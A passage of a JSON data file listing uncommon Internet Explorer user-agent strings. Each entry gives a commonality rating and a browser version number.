InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDF)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; chromeframe\\/30.0.1599.101; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; .NET4.0C; .NET4.0E; BRI\\/2; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI\\/2; Tablet PC 2.0; MDDRJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0E; Media Center PC 6.0; MASA; AskTbFWV5\\/5.14.1.20007; .NET4.0C; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; FunWebProducts; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI\\/1; MAEM; .NET4.0C; FunWebProducts; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; BRI\\/1; AskTbORJ\\/5.15.15.36191)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Creative AutoUpdate v1.40.01; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.01; Windows 95; MSIECrawler)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0; Touch; MAGWJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; Touch; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MASEJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; ASJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MAGW; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; BTRS124307; SIMBAR={6C7A3AB7-4E15-41DC-8F2D-B187A383F4FE}; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI\\/1; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; BRI\\/2; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; EIE10;ENGBWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident\\/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; BrotherSoftSearchToolbar 1.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MDDCJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; LCJB)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident\\/6.0; en-IN)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; BOIE9;ENCA)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 640 XL LTE) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;FIFI; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E;WUID=B8B39C06CD6D44F2A5F7840B7CEBF63B;WTB=18116)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; chromeframe\\/31.0.1650.57; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; .NET4.0C; .NET4.0E; BRI\\/2; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI\\/2; MAEM; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbHKCIE\\/5.15.15.35882; BOIE8;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E; Zune 4.7)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; BOIE9;ENGB)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MASPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MASAJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Shuame)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; OCSD)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;NLBE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; QS 4.2.4.0; QS 5.3.0.4; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; QS 4.2.4.0; QS 5.3.0.4)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDS; AskTbORJ\\/5.15.25.36191; BOIE9;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MDDC; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbOVO2\\/5.14.1.20007; BRI\\/2; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP06; FunWebProducts; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0; GTB7.5) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP08; MAAU; NP08; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; MATP; MATP)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; NP08; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; MS-RTC LM 8; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.4; chromeframe\\/28.0.1500.44; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; Tablet PC 2.0; MS-RTC EA 2; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; EasyBits GO v1.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; EIE10;ENUSMSE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MATP; MATP)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MAM3)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 830) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; yie10)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; yie9)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; trident\\/7.0; slcc2; .net clr 2.0.50727; .net clr 3.5.30729; .net clr 3.0.30729; media center pc 6.0; infopath.3; .net4.0c; .net4.0e; gwx:qualified)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MAARJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MAM3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; GIL 3.5; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; managedpc; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; 